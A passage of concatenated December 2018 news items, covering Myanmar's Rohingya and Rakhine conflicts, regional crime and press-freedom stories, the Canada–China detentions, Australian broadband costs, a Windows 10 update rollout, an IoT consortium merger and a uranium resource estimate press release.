Tenaganita, welcomed the governments plan to eliminate recruitment agents. But she warned that foreign workers continue to be exploited in other ways. No recruitment fees, no debt bondage this is a good step that helps workers, she said. But what about when they arrive here for work? Fernandez urged the government to address other abuses by employers, such as underpaying wages, refusing to secure the proper documents for migrant workers and keeping their passports to prevent them from leaving. We need to change the system. We need to put in place a comprehensive labor migration system, she said. News Bipartisan Senators Call For US 'Genocide' Label of Myanmar Killings Rohingya refugees cross the Naf River with an improvised raft to reach Bangladesh on Nov. 12, 2017. / Reuters WASHINGTON A bipartisan group of U.S. senators on Wednesday called on Secretary of State Mike Pompeo to designate the Myanmar militarys campaign against the Rohingya Muslim minority a genocide. More than 700,000 Rohingya have fled Myanmars Rakhine State for neighboring Bangladesh since August last year, when attacks on security posts by Rohingya insurgents triggered a military crackdown that the United Nations, the United States, Britain and others described as ethnic cleansing. Myanmar denies the accusations of ethnic cleansing. We are deeply concerned that despite clear evidence of genocide amassed by the Departments own report that the Department has not made a formal determination that the crime of genocide has been committed, said a letter to Pompeo from the senators, a copy of which was seen by Reuters. In September, leaders of the U.S. House of Representatives Foreign Affairs Committee called on the Trump administration to declare the military campaign a genocide, days after a State Department report stopped short of that description. A declaration of genocide by the U.S. government could have legal implications of committing Washington to stronger punitive measures against Myanmars government, which is led by Nobel laureate Daw Aung San Suu Kyi. This has made some in the Trump administration wary of issuing such an assessment. The areas where the Rohingya lived in Myanmars western Rakhine State before the army ousted them were being dramatically transformed, making their return increasingly unlikely, Reuters reported on Tuesday. The senators asked Pompeo to provide a formal determination about the actions of Myanmars military. There is no question that the violence in northern Rakhine State intended to terrorize, drive out, and exterminate Rakhines Rohingya population meets the definition of genocide, the letter said. Led by Senator Bob Menendez, the top Democrat on the Senate Foreign Relations Committee, the letter was also signed by Republican Senators Marco Rubio and Susan Collins and Democratic Senators Ed Markey, Tim Kaine, Ben Cardin and Jeff Merkley. Failing to officially label the actions a genocide would deny truth-telling and accountability for the Rohingya and would leave an indelible stain on our nations legacy of promoting and advancing human rights, dignity, and accountability, the letter said. The United Nations Security Council is mulling a resolution that the council could consider further steps, including sanctions, if there was not enough progress made by Myanmar in returning refugees, diplomats said. Burma Over 700 People Flee Homes as Tatmadaw, AA Clash in Northern Rakhine Ethnic Mro people take shelter in Thin Pone Tan village in Ponnagyun Township, Rakhine State. / Poe Shawe Pyin social organization SITTWEMore than 700 villagers have been displaced by clashes between the Myanmar Army (or Tatmadaw) and the Arakan Army (AA) in northern Rakhine State. The entire population of Pyinnagyi village fled after the two sides clashed near the border of Kyauktaw and Ponnagyun townships on Tuesday. Pyinnagyi, which is home to ethnic Mro people, was the closest village to the clashes. U Maung Maung, a Rakhine State lawmaker from Kyauktaw Township, said over 180 villagers had fled the clashes. Around 80 residents of Chin Ma Wun Taung village fled to Thalu Chaung village to avoid the fighting. We heard a lot of gunfire. Last night over 100 villagers from Pyinnagyi village arrived in Nga Si Yine village, U Maung Ni, a resident of Thalu Chaung, told The Irrawaddy. Locals reported hearing gunshots and artillery fire in the area until noon on Thursday. Villagers from the surrounding villages did not dare go out to their farms or go fishing. Elsewhere, more than 200 ethnic Khami people from two villages in Ponnagyun Township fled to Sai Din village in Buthidaung Township on Monday. For the time being, government departments and social organizations are providing food for them. But the villagers are scared and dare not go outside. So, they could face many difficulties in future, said U Aung Thaung Shwe, a Lower House lawmaker representing Buthidaung Township. The Buthidaung Township General Administration Department has provided a weeks rations for displaced persons taking shelter in Sai Din village, according to administrator U Kyaw Min Tun. We are also negotiating with international non-governmental organizations to provide aid for them, he told The Irrawaddy. On Dec. 9 and 13, over 330 ethnic Mro people from Kyaukse Taung, Thabyu Chaung and Hpet Wun villages in Ponnagyun Township fled to Thin Pone Tan village in the same township. We still hear gunshots. Now, over 300 people are taking shelter in our village. We have enough food for the time being, Thin Pone Tan village administrator U Thein Win told The Irrawaddy. According to reports from the Tatmadaw and the AA, the two sides have been engaged in periodic clashes on the Myanmar-Bangladesh border in Buthidaung and Rathedaung townships since Nov. 30. On Dec. 12, the AA and its allies the Taang National Liberation Army and the Myanmar National Democratic Alliance Army released a joint statement saying they sought to engage in political negotiations and halt military operations in an effort to achieve peace. The governments Peace Commission welcomed the statement, and said it would negotiate with the three to sign bilateral ceasefire agreements. However, daily clashes between the AA and the Myanmar Army continue. The AA is believed to have moved its headquarters from Laiza, which is under the control of the Kachin Independence Army, to a location in Chin State near the Indian border. Burma National ID Cards Wrongly Issued to 21 Rohingya: Minister Several hundred monks and locals from Rakhine State's capital Sittwe staged a protest in November 2018, calling for a recheck of the Kaman identity cards allegedly issued to Rohingya Muslims. / Min Aung Khine / The Irrawaddy NAYPYITAWThe Ministry of Labor, Immigration and Population will take action against its own officials who issued national registration cards (NRCs) to Rohingya, wrongly identifying them as ethnic Kaman of Rakhine State. The ministry in September launched an investigation after the Kaman National Progressive Party (KNPP) and the Kaman community lodged a complaint with the Presidents Office and State Counselors Office saying that NRC cards labeling the holders ethnic Kaman were issued to more than 3,000 residents in southern Rakhine States Ramree Township who are actually Rohingya. The investigation of a total of 3,306 resident card recipients in Ramree Townships Kyauk Ni Maw Village found that 21 of them are not ethnic Kaman, Union Minister for Labor, Immigration and Population U Thein Swe told reporters in Naypyitaw on Wednesday. The ministry will assign a deputy director to carry out further investigations to check whether there was misconduct by officials in the process of issuing the IDs to the residents, said the minister. We will take action according to the code of conduct for civil servants. We are collecting definitive evidence, the Union minister told reporters at the Lower House of Parliament. During the Lower House session on Wednesday, an Arakanese lawmaker U Aung Thaung Shwe urged Parliament to review the issue of the incorrectly designated NRCs. I am concerned that stability will be disrupted in a stable and peaceful region by the fault of the government. I am concerned that doubts will arise between different communities. This will undermine public trust in the government. Thats why I ask this question, U Aung Thaung Shwe told the Parliament. U Pe Than, central executive committee member of the Arakan National Party accused some Rohingya of attempting to gain citizenship by claiming to be Kaman. If they make themselves an ethnic group through this short-cut, there will be many Kaman in the future. Then, they may demand autonomy from the ethnic affairs minister. Their birth rate is really high, U Pe Than told reporters. Myanmars 2008 Constitution says an ethnic affairs minister must be appointed to represent a minority ethnic group should it be of a certain size in population, and that the ethnic group should rightfully be appointed an official autonomous area in Myanmar. An official household registration document issued by the General Administration Department in 2013, seen by The Irrawaddy, says only 500 of Kyauk Ni Maws 4,300 residents at the time were Kaman. Most of the townships Kaman have moved to Yangon in recent years. The KNPP secretary U Tin Hlaing Win has said that the number of ethnic Kaman in Kyauk Ni Maw at present is just over 200. The Kyaw Ni Maw community only speaks Bengali. They live according to Bengali culture. They cant even speak Arakanese (Rakhine) fluently. The immigration records indicate that they are not Kaman and they dont speak Kaman so this will further complicate [the citizenship problem], he told The Irrawaddy. Myanmar government officials often use the term Bengali to refer to Rohingya, whom they do not consider an indigenous ethnic group, but rather as illegal immigrants from Bangladesh. Union minister U Thein Swe told the Parliament that all the residents issued with NRCs are ethnic Kaman except 21 individuals. His ministry has records to prove that the rest are Kaman, and anyone can check them at his ministry with the approval of the Parliament Speaker, he added. We checked the documents at our headquarters, and found that some of their ancestors are Bengali or Indian, U Thein Swe told the reporters about the 21 individuals, adding that his ministry would issue ID cards designating them as Kaman Bengali or Indian Kaman instead. We worked correctly in line with the law and have fixed the mistake. We will take action against [officials] who took bribes. As we have done this in a transparent manner, I hope this will help remove the doubts of the ethnic people, he said. The Kaman minority is one of 135 officially recognized ethnic groups in Myanmar and one of the seven ethnic subgroups in Rakhine State. Unlike the Buddhist Rakhine, the Kaman are Muslim. They have been living in Rakhine for centuries. During the Arakan Kingdom, the Kaman served as royal archers, but the profession vanished when the kingdom fell to the Burmese Konbaung Dynasty in 1784. Nowadays, there are about 45,000 ethnic Kaman Muslims across the country. Burma Suspects in Murder of Migrant Family Arrested in Karen State Police prepare to for the transfer of the two murder suspects from Myaing Kalay, Hpa-an Township to Myawaddy on December 20, 2018. / Myanmar Police Force Two people were detained yesterday in Myaing Kalay, Hpa-an Township in Karen State, on suspicion of the murders of a Myanmar migrant family of four in Mae Sot, Thailand according to police in Karen State, Myanmar. The two suspectsKo Swe, 29, and Ko Zaw Zaw, 28are said to be ethnic Arakanese from Rakhine State. The police officer, who requested anonymity, told The Irrawaddy on Thursday that the men detained in Myaing Kalay on Wednesday had fled across the border at the town of Mae Sot in a bid to escape arrest. They went into hiding in Myaing Kalay, the hometown of one of their wives, according to the police. As the incident happened in Mae Sot, a town on the Thai side of the border with Myanmar, Myanmar police have to extradite the suspects to Thailand, according to the police source. The case will be handled by the Thai police force after the suspects are escorted back to the border town. We are sending them back to Myawaddy Police Station, said the police officer. Myanmar police in Myawaddy, the town on the Myanmar side of the border across from Mae Sot, are cooperating with their Thai counterparts to investigate the case. The incident happened when the two suspects were intoxicated and causing noise disturbances to the neighboring homes. When a member of the victim family complained to them a quarrel ensued. The two suspects beat the mother and father of the family to death using an iron rod and a length of wood, according to the police officer. This counters previous reports that the quarrel broke out over a cow. After the suspects fled to Myaing Kalay, police received a tipoff about their whereabouts from a member of the Myanmar migrant community in Thailand who knew the suspects, according to the police officer. The Myanmar migrant family, which included a baby of 4 months and a four-year-old boy who were also murdered on Dec. 16, was living in a hut outside Mae Sot and made a living cutting sugar cane and tending cattle in the area. News Christian Home Stoned, Vandalized During Christmas Prayer in Magwe Stones thrown at a house in Gangaw Township, Magwe Region, on Monday night lie outside the home. / Elizabeth Thaung May / Facebook GANGAW, Magwe Region Police in Magwe Regions Gangaw Township have received a criminal complaint against residents of Paw Lel Village accused of a violent Monday night attack on a house where local Christians were praying. They have opened a case under Article 337 and Article 427 of the Penal Code. The first charge is causing harm and the second is causing damage to property, Gangaw police Lieutenant Soe Nyunt Aung told The Irrawaddy. More than 20 local Christians were holding an early Christmas prayer at a private home when stones started hitting the house for about an hour, according to the townships Baptist Christian Association. It said a group of men then broke into the house and vandalized it. While we were saying prayers, [they] threw stones at all sides of the house. Six people were injured. One of them was seriously injured on his head, said Rev. San Kew, who was in the house during the attack. He said motorbikes, furniture and the dishes and plates to be used for dinner were damaged. We didnt see who damaged the property. We were all hiding in a room because we were frightened, the reverend said. He said only four of Paw Lels 52 households were Christian and that the owner of the house that as attacked, Wa Dawns, filed the complaint with police against about 30 villagers. U Tin Myat, administrator of the Min Ywa village tract, said police and firefighters have been posted at the house for the familys protection. The two communities are rather relaxed, though. We conducted a patrol at night, he said on Wednesday. U Aung Hsan Myint, a Magwe Region lawmaker, said the assailants must be brought to justice. You cannot oppose others celebrating their religious event. Action must be taken against perpetrators according to the law, he said. Translated from Burmese by Thet Ko Ko. News Indian Journalist Detained For Calling State Leader a Modi Puppet Indian Prime Minister Narendra Modi waits for the arrival of Maldives President Ibrahim Mohamed Solih during Solihs ceremonial reception in New Delhi, India, on Dec. 17. / Reuters GUWAHATI, India An Indian television journalist has been detained for criticizing the Bharatiya Janata Party (BJP) government on social media under laws intended to ensure national security, leading to protests in the capital, New Delhi. Kishorechandra Wangkhem was working for a television channel in the northeastern state of Manipur when he uploaded several video clips last month calling the states BJP chief minister, N Biren Singh, a puppet of the central government led by Prime Minister Narendra Modi. It is nothing but a blatant abuse of the law and powers of the government, Wangkhems lawyer, N. Victor, told Reuters by telephone. Victor said he planned to appeal against his clients detention, with a hearing likely on Thursday. India has one of the worlds largest and most diverse media industries, but its journalists often face harassment and violence. The country is ranked 138th in the World Press Freedom Index run by Reporters Sans Frontieres lower than Zimbabwe, Afghanistan and Myanmar as a result of censorship laws and the murder of several journalists. Wangkhem was initially arrested on separate charges of sedition on Nov. 21, before being released on Nov. 25, his wife, Ranjita Elangbam, told Reuters. He was then detained on Nov. 27 under Indias National Security Act, which allows for detention of up to a year without trial, and has since been held at a jail in the state capital, Imphal. A board of judges set up under the Act approved his detention on Thursday. In the posts, Wangkhem criticized the state government for commemorating a north Indian freedom fighter, the Rani of Jhansi, a symbol of resistance against British colonial rule in the mid-1800s, who he said had nothing to do with Manipurs own struggle against the British. Dont betray, dont insult the freedom fighters of Manipur, he said in one of the posts. Manipurs deputy home minister, Th Charanjeet Singh, said in a statement the state had considered the evidence and stood by its decision to detain Wangkhem. News Trudeau Says No 'Stomping on Table' Over Canadians Held in China Chinese President Xi Jinping shakes hands with Canadian Prime Minister Justin Trudeau during the G20 Summit in Hangzhou, Zhejiang Province, China on September 4, 2016. / REUTERS OTTAWA, CanadaCanadian Prime Minister Justin Trudeau urged caution on Wednesday and said he would not be stomping on a table after China detained a third Canadian amid a diplomatic dispute over the arrest of a Chinese technology executive. The detentions of the Canadiansincluding one disclosed on Wednesdayfollowed the Dec. 1 arrest in Vancouver of Meng Wanzhou, chief financial officer of the Chinese telecommunications giant Huawei Technologies Co. Ltd. The arrest was made at the request of the United States, which is engaged in a trade war with China. Trudeau has been under pressure to take a more robust stand on the detentions, but said at a news conference: Political posturing or political statements arent necessarily going to contribute. They might actually hinder the Canadians release. Were going to take every situation carefully and seriously. Canadians understand that even though political posturing might be satisfactory in the short term to make yourself feel like youre stomping on a table and doing something significant, it may not directly contribute to the outcome we all want, which is for these Canadians to come home safely. Trudeau said he was asking China for more information on the detentions. No details have been given on the latest, but Trudeau said it was a very separate case from last week when former Canadian diplomat Michael Kovrig and businessman Michael Spavor were detained amid the diplomatic quarrel triggered by Mengs arrest. The National Post newspaper said the latest detainee was a Canadian woman who was teaching English in China and was held because of visa complications. Huawei is the worlds biggest supplier of telecoms network equipment and second-biggest smartphone seller. The United States has been looking since at least 2016 into whether Huawei shipped US-origin products to Iran and other countries in violation of US export and sanctions laws, Reuters reported in April. The Canadian government has said several times it saw no explicit link between the arrest of Meng, the daughter of Huaweis founder, and the detentions of Kovrig and Spavor. But Beijing-based Western diplomats and former Canadian diplomats have said they believed the detentions were a tit-for-tat reprisal by China. Bob Rae, Canadas special envoy to Myanmar and a former Liberal Party leader, tweeted on Wednesday that there are no coincidences and said the detentions looked too much like hostage taking. An official at the Chinese Embassy in Ottawa said the embassy had no information to release on the issue. Meng is accused by the United States of misleading multinational banks about Iran-linked transactions, putting the banks at risk of violating US sanctions. She was released on bail in Vancouver, where she owns two homes, while waiting to learn if she will be extradited to the United States. She is due in court on Feb. 6. US President Donald Trump told Reuters last week he might intervene in the case if it would serve national security interests or help close a trade deal with China. The comments upset Canada, which warned the United States against politicizing extradition cases. Trudeau said a decision on whether to use Huawei equipment in Canadas 5G mobile network should be made by experts and not influenced by politics. Buying time A source with direct knowledge of the situation said senior officials at the Canadian Foreign Ministry had held many meetings about the detainees but that a formal task force had yet to be created. At this point, Canada is trying to buy time by stressing it has a rules-based order and an independent judiciary, said the source, who declined to be identified because of the sensitivity of the situation. A second source said Canada was concerned that the detainees were in the hands of the powerful security authorities. Even if there were voices of reason in the Chinese system saying: Are you crazy? The Canadian government cannot order a judge to release Ms. Meng, the security voices are going to trump them, the source said. Philip Calvert, a former diplomat in China and now a research fellow at the University of Victoria, said at least the first two detentions were indicative of the way China often engages internationally in situations like this. The people making the decisions in Beijing really think when push comes to shove, they can put pressure on Canada to override the system, he said. Flavio Volpe, president of Canadas Automotive Parts Manufacturers Association, said on Wednesday he had spoken with a few Chinese automakers that are now delaying a decision to set up production facilities in Canada. The automakers, which Volpe declined to name, had been weighing whether to sell cars built in Canada to the North American market. The last time Canadians were detained in China for security reasons was in 2014 when Kevin and Julia Garratt, who ran a coffee shop in northeastern China, were held near the border with North Korea. She was released and left the country, while her husband was charged with spying and stealing state secrets before being released and deported two years later. The arrest of the Garratts came shortly after a Chinese businessman was picked up on a US warrant in Canada. HSI HSENG, southern Shan StatePoppies grown by farmers in Hsi Hseng in southern Shan States Pa-O Self-administered Zone are now in bloom. In most poppy fields at this time of year, latex is being extracted from the seed pods. In some fields, however, growers are still fertilizing young poppy plants using the broadcasting method. Poppy cultivation, a traditional practice in Hsi Hseng, is still the main livelihood for hundreds of families in the town. Locals are well aware that poppy cultivation is illegal, but complain they lack the financial assistance needed to switch to other crops. Poppies take less time to harvestand fetch higher pricesthan other crops. At harvest time, authorities arrive looking for poppy fields to destroy, so farmers in Hsi Hseng grow their poppies on remote, steep hillsides. The remote locations of their fields do not spare farmers the need to pay taxes, however. Local growers are forced to make annual payments to local Pa-O militia, the Shan State Restoration Council and local police, according to the Myanmar Opium Farmers Association, a group of farmers who have for generations made their living by growing poppies and are now looking for alternative crops with the help of local and international NGOs. According to a 2017 report by the United Nations Office on Drugs and Crime, there are over 40,000 hectares of farmland under poppy cultivation in Myanmar, 40 percent of it in southern Shan State. Michelle Rowland: "On every measure, the Liberals disastrous decision to adopt HFC has left taxpayers and consumers worse off." The Australian Labor Party has questioned how the cost of the NBN Co's HFC build has increased by 64% since 2015, despite the fact that the number of premises being served by the technology has fallen by 37.5%. Labor Shadow Communications Minister Michelle Rowland said in a statement on Thursday that the Federal Government needed to come clean on "the extent to which Australian taxpayers have been fleeced" due to the decision to use HFC as one of the technologies for "the second-rate NBN". Rowland pointed out that in April 2016, NBN Co, the company rolling out Australia's national broadband network, had reached a deal to pay Telstra $1.6 billion for its support of aspects of the rollout. At that time, the NBN Co was planning to deploy HFC to four million homes. "However, due to ongoing reliability issues and cost blowouts, NBN Co is now planning to deploy HFC to only 2.5 million homes," Rwoland said. "Given the 37.5% reduction in the number of proposed premises passed by HFC, it would be reasonable to assume the cost of the Telstra HFC deal should have also decreased. "The Senate has given NBN Co several opportunities to clarify this has occurred - but NBNCo has so far refused to do so." In November last year, the NBN Co decided to suspend the provision of NBN connections on HFC for what it said would be anything from six to nine months, while it fixed technical issues that were affecting the speed that the network could deliver. HFC connections were resumed in June this year. Rowland pointed out that the underlying build cost of HFC on the NBN had increased by "a staggering 64% since 2015". "In contrast, over the same period, countries such as New Zealand, the UK and the US have reduced the cost of deploying fibre-to-the-premises by between 40% and 50%," she said. "On every measure, the Liberals disastrous decision to adopt HFC has left taxpayers and consumers worse off. "Its time the Morrison Government came clean about what the true scope of the impact." Microsoft this week nudged open the delivery throttle for Windows 10 October 2018 Update, the problem-plagued feature upgrade that the company yanked for more than five weeks this fall before restarting testing with volunteers. "Windows 10, version 1809, is now fully available for advanced users who manually select 'Check for updates' via Windows Update," read a revised support document. The October 2018 Update is also known as 1809 in Microsoft's numeric yymm identifying format. Windows 10 1809 remained unavailable to some systems, even though Microsoft cracked open the upgrade door. According to the support document, four "blockers" - scenarios due to compatibility problems with Intel and AMD display drivers, Trend Micro security software and F5 VPN (virtual private network) software - have yet to be lifted. By re-opening the "Check for updates" avenue, Microsoft essentially returned to 1809's Oct. 2 status. That was when the Redmond, Wash. company began offering the feature upgrade to so-called "seekers," users brave enough - reckless, some would say - to try just-issued code. Within days, as reports of deleted data swelled, Microsoft withdrew 1809 from general distribution. When it was satisfied that it had fixed several problems, it restarted 1809 on Nov. 13, but with its Windows Insider testers, not the general public. Monday's move to open 1809 to seekers was the first instance of the upgrade being made available to the latter group. Microsoft has yet to start offering 1809 to users through its automatic updating services. The company gave no hint on the support document about when that might occur. With the month-long delay and the cautious restart of 1809, the upgrade will likely spend significant time designated as "Semi-Annual Channel (Targeted)," or "SAC-T," the marker used to describe its release primarily to consumers running Windows 10 Home, who cannot defer an automatic upgrade. Typically, after several months, Microsoft changes the label to simply "Semi-Annual Channel" (SAC) and announces that the feature upgrade has been sufficiently tested - again, mainly by consumers - to make it suitable for deployment in businesses and organizations. The spread between SAC-T and SAC - with the latter a "business ready" recommendation - has typically been three months: Both 1709 and 1803 spent that amount of time as SAC-T. Assuming the same three-month lag between now and SAC, which would make the latter's date in mid-March, it would actually be more than a four-month stretch from the official Nov. 13 "restart," when 1809's 18 or 30 months of support began. If discretion is the better part of valor, it is certainly possible that 1809 will not be tagged as SAC until around the time that its successor, 1903, launches as SAC-T, sometime in April. Many experts, including Computerworld columnist Woody Leonard, continued to urge users to steer clear of 1809. Looking to hasten the adoption of all things edge computing, fog and Industrial Internet of Things, the OpenFog Consortium (OFC) and the Industrial Internet Consortium (IIC) are combining forces. The IIC membership, which includes Cisco, Juniper and Microsoft, looks to transform business and society by accelerating the Industrial Internet of Things, while the OFC addresses fog computing and the bandwidth, latency and communications challenges associated with IoT, 5G and AI applications. For example, earlier this year the OFC was the driving influence behind a move to amplify the use of fog computing. The IEEE defined a standard that laid the official groundwork to ensure that devices, sensors, monitors and services are interoperable and will work together to process the seemingly boundless data streams that will come from IoT, 5G and AI systems. The standard, known as IEEE 1934, was largely developed over the past two years by the OFC, which includes Arm, Cisco, Dell, Intel, Microsoft and Princeton University. IEEE 1934 defines fog computing as a system-level horizontal architecture that distributes resources and services of computing, storage, control and networking anywhere along the cloud-to-things continuum." By expanding our pool of resources and expert collaborators, we will continue to accelerate the adoption of not only fog, but a wealth of technologies that provide the underpinnings to IoT, AI and 5G, wrote Matt Vasey, chairman and president, OpenFog Consortium, in a blog about the merger. Machines, things, and devices are becoming increasingly intelligent, seamlessly connected, and capable of massive storage with the ability to be autonomous and self-aware. Robots, drones and self-driving cars are early indicators of small and mobile clouds. Distributed intelligence that interacts directly with the world and is immersive with all aspects of their surrounding is the concept behind fog, he said. Merging the two groups is a natural fit and helps consolidate an overly fragmented collection of groups striving to create standards in the large IoT market, said Christian Renaud, research vice president, internet of things, 451 Research, in a blog about the unification. Both consortia share a pragmatic approach of developing specifications and testbeds and aligning the interests of a diverse set of stakeholders from throughout the broader community. This has evolved the messages and roadmaps of vendors, shaped academic research agendas and removed risk for end-user adopters of the technologies, Renaud said. Since their founding, both the IIC (214) and OFC (2015), both organizations have helped drive development of IoT, "transforming the narrative from confusion and (perpetually) potential future opportunities to real progress and real value, Renaud wrote. Vasey wrote that plans for 2019 include increasing investment in international testbeds and technical working groups. The new group's technical committees will continue to build out testbeds and define optimal network implementations for core vertical markets as well as horizontal features. There will be a renewed push toward testbed validation and certification programs. The consortium will continue to identify and expand prototypical use cases describing best-practice architectures in real-world settings. Uh-oh! It could be you, or it could be us, but there's no page here. TORONTO, Dec. 20, 2018 /CNW/ - Laramide Resources Ltd. ("Laramide" or the "Company") is pleased to announce the results of its maiden independent Mineral Resource Estimate (the "Resource Estimate") prepared using the CIM Definitions (2014) as incorporated in NI 43-101 for the Company's 100% owned Crownpoint Uranium Project (the "Project" or "Crownpoint"), located in New Mexico, United States. The Resource Estimate was completed by Roscoe Postle and Associates Inc. ("RPA") in Denver, USA with the assistance of Laramide's technical team. The Resource Estimate also satisfies the requirements of the 2012 JORC code. The Technical Report pertaining to the Resource Estimate will be filed on Sedar (www.sedar.com) within 45 days. The Resource Estimate supersedes various "historical estimates" for purposes of NI 43-101 reporting (see press release dated October 10, 2018) and considers planned In Situ Recovery ("ISR") of uranium consolidating the significant work completed by previous operators on the Project. Highlights include: An Inferred Resource Estimate of 2.5 million tons at an average grade of 0.102% eU 3 O 8 for a contained resource of 5.1 million pounds U 3 O 8 using a 0.5 ft-% U 3 O 8 Grade Thickness (GT) cutoff. at an average grade of for a contained resource of U O using a 0.5 ft-% U O Grade Thickness (GT) cutoff. Data from previous operators was consolidated and digitized resulting in a database of 305 drill holes totaling 648,702 feet of drilling. The report highlighted areas where wide-space drilling did not support a current resource estimate using the CIM Definitions (2014), but have been flagged for immediate follow up to potentially allow further expansion of the resource. The Resource Estimate expands on the Company's New Mexico uranium resources including the 50.8 million pounds U 3 O 8 of Inferred Resource estimated for the Church Rock Project (see Press Releases October 10, 2017 and November 22, 2017). Importantly, both of the Resource Estimates fall under the Company's NRC license which is the identified location for the 3 million lb U 3 O 8 per annum Central Processing Plant (CPP) under the permit. Marc Henderson, Laramide Resources Ltd.'s President and Chief Executive Officer, commented, "The Crownpoint Resource is an important piece in the development of our New Mexico uranium portfolio. With this information now in hand the Company can look towards developing a preliminary economic assessment (PEA) of the combined Church Rock and Crownpoint Deposits." Mineral Resource Estimate The Crownpoint Resource Estimate was completed utilizing the Grade x Thickness (GT) Contour Method, an industry standard for estimating uranium roll-front type deposits hosted within groundwater-saturated sandstones. The mineralization at Crownpoint has been previously shown to be amenable to ISR techniques. The Resource Estimate is comprised of the following properties and ownership: Section 9, T17N-R13W: The Section 9 property (~160 acres) consists of nine unpatented Lode Mining Claims of which Laramide owns 100%. Section 24, T17N-R13W: The Section 24 property (S = ~320 acres) consists of 12 unpatented mining claims (Consol 1, 2; CP 10-19), of which Laramide owns 100%, and a 40% interest in the remainder of the property held by private mineral ownership. Section 25, T17N-R13W: The Section 25 property (~135 acres) consists of eight unpatented mining claims (Hydro 1-8) of which Laramide owns 100%. The following table summarizes the Mineral Resource Estimate by Sand Unit and by Section. Due to the historical nature of the data the resource estimate is classified as Inferred, until additional new confirmation data can be obtained: Table -1 Mineral Resource Estimate by Sand Unit November 16, 2018 Laramide Resources Ltd. Crownpoint Deposit Total Resource Laramide Controlled Resource Classification Sand Unit Tonnage Grade Contained Metal Tonnage Grade Contained Metal % Controlled (000 Tons) (% eU 3 O 8 ) (000 lbs U 3 O 8 ) (000 Tons) (% eU 3 O 8 ) (000 lbs U 3 O 8 ) Inferred Jmw A Sand 436 0.091 797 416 0.091 753 94.4% Jmw B Sand 907 0.099 1,802 655 0.099 1,300 72.1% Jmw C Sand 444 0.088 784 250 0.092 458 58.4% Jmw D Sand 179 0.114 408 115 0.108 249 61.0% Jmw E Sand 2,198 0.114 5,006 1,061 0.109 2,320 46.3% Total Inferred 4,163 0.106 8,798 2,497 0.102 5,079 57.7% Table -2 Mineral Resource Estimate by Section November 16, 2018 Laramide Resources Ltd. Crownpoint Deposit Total Resource Laramide Controlled Resource Classification Section Tonnage Grade Contained Metal Tonnage Grade Contained Metal % Controlled T17N, R13W (000 Tons) (% eU 3 O 8 ) (000 lbs U 3 O 8 ) (000s Tons) (% eU 3 O 8 ) (000s lbs U 3 O 8 ) Inferred NW Section 9 675 0.096 1,293 675 0.096 1,293 100.0% S Section 24 3,466 0.108 7,468 1,800 0.104 3,749 50.2% NE Section 25 23 0.076 35 23 0.076 35 100.0% Total Inferred 4,163 0.106 8,798 2,497 0.102 5,079 57.7% Notes for Tables 1 and 2: 1. CIM (2014) definitions were followed for Mineral Resources. 2. Mineral Resources are reported at a GT cut-off of 0.5 ft-% eU 3 O 8 . 3. A minimum thickness of 2.0 ft was used. 4. A minimum cut-off grade of 0.03% eU 3 O 8 is based on historic mining costs and parameters from the district was used. 5. Internal maximum dilution of 5.0 ft was used. 6. Grade values have not been adjusted for disequilibrium. 7. Tonnage factor of 15 ft3/ton is based on the tonnage factor historically used by the mining operators in the area. 8. Mineralized areas defined by isolatedor widely spaced drill holes, or located within the area previously subject to pastproduction, were excluded from the estimate. 9. Numbers may not add due to rounding. Next Steps With the completion of the Resource Estimate, the combined Church Rock and Crownpoint Project will be advanced to a PEA. This will be the first economic study on the consolidated Project, and which would include the elimination of certain royalties owned by Laramide (including the up to 25% gross) on portions of the Project. To complete the New Mexico Environmental Department Groundwater Discharge Plan permit requirements, the Company must demonstrate, in a laboratory environment, the ability, post leaching, to restore groundwater in the mining aquifer to an acceptable level. In order to complete this leach study fresh core is required from the Project. The Company plans to complete this core drilling and begin the leach-restoration testing in early 2019. Exploration is also planned for areas noted in the Technical Report where wide-spaced drilling previously defined potential mineralization. This drilling, in conjunction with the core studies, may lead to areas of the present Inferred Mineral Resource to be upgraded to Measured and Indicated Resources, and the potential discovery of additional mineral resources. Qualified Person The Mineral Resource estimate for Crownpoint was prepared in accordance with standards as defined by the Canadian Institute of Mining, Metallurgy and Petroleum ("CIM") "CIM Definition Standards-For Mineral Resources and Mineral Reserves", adopted by CIM Council on May 10, 2014. The Mineral Resource estimate for Crownpoint was prepared by Mark Mathisen, C.P.G., a Principal Geologist at Roscoe Postle Associates Inc. Mr. Mathisen is the Competent Person for the related Mineral Resource and is a Member of the American Institute of Professional Geologists (CPG-11648), a 'Recognized Professional Organization' (RPO) included in a list that is posted on the ASX website from time to time. Mr. Mathisen has sufficient experience which is relevant to the style of mineralization and type of deposit under consideration and to the activity being undertaken to qualify as a Competent Person as defined in the 2012 Edition of the 'Australasian Code for Reporting of Exploration Results, Mineral Resources and Ore Reserves'. Mr. Mathisen is independent of the Company at the time of the mineral resource estimate. He is a Qualified Person as defined by Canadian National Instrument 43-101 and has reviewed and approved the technical disclosure of the Mineral Resources contained in this news release. The technical information in this news release has been prepared in accordance with the Canadian regulatory requirements set out in NI 43-101. The information has been reviewed and approved by Bryn Jones, MMinEng, FAusIMM, a Qualified Person under the definition established by National Instrument 43-101 and JORC. Mr. Jones is the Chief Operating Officer of the Company and a Fellow of the Australasian Institute of Mining and Metallurgy. The Mineral Resource Estimate was prepared by Mark Mathisen, C.P.G., of Roscoe, Postle and Associates Inc. RPA in Denver, USA, with the assistance of Laramide's technical team. Mark Mathisen, who is an Independent Qualified Person ("QP"), as defined by National Instrument 43-101, has reviewed and approved the technical contents of this news release. To learn more about Laramide, please visit the Company's website at www.laramide.com. About Laramide Resources: Laramide is a Canadian-based company with diversified uranium assets strategically positioned in the United States and Australia that have been chosen for their low-cost production potential. Laramide's recently acquired Church Rock and Crownpoint properties form a leading In-Situ Recovery (ISR) division that benefits from significant mineral resources and near-term development potential. Additional U.S. assets include La Jara Mesa in Grants, New Mexico, and La Sal in the Lisbon Valley district of Utah. The Company's Australian advanced stage Westmoreland is one of the largest uranium projects currently held by a junior mining company. Laramide is listed on the TSX: LAM and ASX: LAM. Forward-looking Statements and Cautionary Language This News Release contains forward looking statements which are subject to a variety of risks and uncertainties which could cause actual events or results to differ materially from those reflected in the forward looking statements. The Company does not intend to update this information and disclaims any legal liability to the contrary. New zone is on the west edge of the Central Anomaly located 1.8 km south of the Big Easy Showing Includes 40m grading 0.28 g Au/t and 6.34 g Ag/t and 4.8 m grading 1.26 g Au/t and 33.19 g Ag/t Hole testing downdip extension of Big Easy showing intersected 10.6m of 0.45 g Au/t and 84.96 g Ag/t including 3.9m grading 0.54 g Au/t and 224.9 g Ag/t. TORONTO, Dec. 20, 2018 